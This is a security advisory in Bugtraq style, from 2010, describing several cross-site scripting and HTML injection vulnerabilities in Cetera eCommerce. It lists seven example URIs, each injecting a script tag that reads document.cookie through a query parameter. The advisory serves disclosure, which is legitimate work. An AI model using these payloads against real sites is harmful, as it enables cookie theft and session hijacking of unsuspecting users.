Cetera eCommerce Multiple Cross Site Scripting and HTML Injection Vulnerabilities

Bugtraq ID:	42059
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jul 28 2010 12:00AM
Updated:	Jul 28 2010 12:00AM
Credit:	MustLive
Vulnerable:
Not Vulnerable:

Cetera eCommerce Multiple Cross Site Scripting and HTML Injection Vulnerabilities

Attackers can use a browser to exploit these issues. To exploit a cross-site scripting vulnerability, an attacker must entice an unsuspecting user to follow a malicious URI.

The following example URIs are available:

Cross-site scripting:

http://www.example.com/cms/templates/search.php?q=111&sobject=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.example.com/cms/templates/bannerlist.php?deleted=%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.example.com/cms/templates/bannerlist.php?errorMessage=%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.example.com/cms/templates/banner.php?errorMessage=%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.example.com/account/?messageES=s9&messageParam[0]=%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.example.com/cms/index.php?messageES=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.example.com/cms/index.php?messageES=s9&messageParam[0]=%3Cscript%3Ealert(document.cookie)%3C/script%3E

Cetera eCommerce Multiple Cross Site Scripting and HTML Injection Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].